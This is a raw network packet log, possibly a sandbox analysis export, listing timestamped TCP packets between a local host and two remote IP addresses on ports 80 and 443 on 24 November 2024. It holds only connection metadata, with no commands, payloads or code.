Nov 24, 2024 10:24:18.834983110 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.835643053 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.835690022 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.835767031 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.835812092 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.836970091 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.836986065 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.837019920 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.837032080 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.837925911 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.837982893 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.838063002 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.838099003 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.839243889 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.839261055 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.839301109 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.839318991 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.839776993 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.839826107 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.839905024 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.839951992 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.840643883 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.840694904 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.840724945 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.840770960 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.841794014 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.841815948 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.841847897 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.841859102 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.842808962 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.842825890 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.842858076 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.842868090 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.843894005 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.843909025 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.843966007 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.845288038 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.845304012 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.845336914 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.845354080 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.846463919 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.846479893 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.846509933 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.846519947 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.848117113 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.848165035 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.848232985 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.848275900 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.849158049 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.849173069 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.849204063 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.849216938 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.875957966 CET	443	49828	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:18.881089926 CET	443	49828	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:18.881146908 CET	49828	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:18.881187916 CET	49828	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:18.881203890 CET	443	49828	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:18.881215096 CET	49828	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:18.881218910 CET	443	49828	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:18.885164022 CET	49833	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:18.885193110 CET	443	49833	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:18.885263920 CET	49833	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:18.885474920 CET	49833	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:18.885487080 CET	443	49833	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:18.990912914 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.990969896 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.990992069 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.991028070 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.991457939 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.991503000 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.991523027 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.991561890 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.992610931 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.992655039 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.992775917 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.992826939 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.993767977 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.993830919 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.993880033 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.993916988 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.994874954 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.994919062 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.994973898 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.995018959 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.995996952 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.996037960 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.996109009 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.996151924 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.997143984 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.997191906 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.997275114 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.997320890 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.998271942 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.998322010 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.998383999 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.998426914 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.999470949 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.999499083 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.999509096 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.999531984 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.000544071 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.000587940 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.000607014 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.000643969 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.001682043 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.001724005 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.001749039 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.001789093 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.002794981 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.002840996 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.002912045 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.002959967 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.003998041 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.004048109 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.004067898 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.004110098 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.005091906 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.005142927 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.005215883 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.005255938 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.006208897 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.006252050 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.006357908 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.006397009 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.007337093 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.007381916 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.007431984 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.007472992 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.008456945 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.008501053 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.008564949 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.008608103 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.009605885 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.009648085 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.009670973 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.009712934 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.010750055 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.010796070 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.010848999 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.010891914 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.011907101 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.011950970 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.011971951 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.012007952 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.012986898 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.013032913 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.013102055 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.013144016 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.014134884 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.014177084 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.014266968 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.014307022 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.015397072 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.015438080 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.015609980 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.015654087 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.016479969 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.016515970 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.016525030 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.016557932 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.017518044 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.017560959 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.017621040 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.017663002 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.018827915 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.018870115 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.019062996 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.019104958 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.020387888 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.020427942 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.020493031 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.020534992 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.021213055 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.021256924 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.021286011 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.021327972 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.022166014 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.022205114 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.022211075 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.022252083 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.023194075 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.023236036 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.023355961 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.023396969 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.024327993 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.024369955 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.024497032 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.024537086 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.025440931 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.025490046 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.025552034 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.025593042 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.026599884 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.026642084 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.026736021 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.026777029 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.027746916 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.027791023 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.027913094 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.027952909 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.028914928 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.028963089 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.029058933 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.029099941 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.029969931 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.030014038 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.030082941 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.030123949 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.031085968 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.031130075 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.031205893 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.031244993 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.032238007 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.032279968 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.032322884 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.032365084 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.033382893 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.033427000 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.033549070 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.033591032 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.034526110 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.034575939 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.034624100 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.034660101 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.035638094 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.035686016 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.035784960 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.035826921 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.036792040 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.036837101 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.036873102 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.036912918 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.037894011 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.037936926 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.037992954 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.038033962 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.039026022 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.039069891 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.039151907 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.039191008 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.040153027 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.040196896 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.040225029 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.040265083 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.041330099 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.041378021 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.041412115 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.041454077 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.042460918 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.042504072 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.042617083 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.042656898 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.043740988 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.043752909 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.043797016 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.044709921 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.044753075 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.044795990 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.044836044 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.045838118 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.045880079 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.046042919 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.046084881 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.046971083 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.047017097 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.047025919 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.047066927 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.048208952 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.048254013 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.048278093 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.048319101 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.049213886 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.049254894 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.049300909 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.049343109 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.050548077 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.050595045 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.194156885 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.194245100 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.194294930 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.194339991 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.194797993 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.194808960 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.194854975 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.195579052 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.195631981 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.195709944 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.195769072 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.196789980 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.196801901 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.196840048 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.197707891 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.197766066 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.197877884 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.197925091 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.198863983 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.198910952 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.199003935 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.199052095 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.199997902 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.200046062 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.200176001 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.200213909 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.201267958 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.201278925 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.201318026 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.201328993 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.202291012 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.202342033 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.202424049 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.203414917 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.203577995 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.204087973 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.204544067 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.204592943 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.204731941 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.204776049 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.205717087 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.205763102 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.205846071 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.205888987 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.206799984 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.206841946 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.206975937 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.207015038 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.207957029 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.207968950 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.208004951 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.209080935 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.209127903 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.209258080 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.209300995 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.210110903 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.210155964 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.210294962 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.210336924 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.211333036 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.211391926 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:19.211510897 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:19.211555958 CET	49813	80	192.168.2.5	31.41.244.11
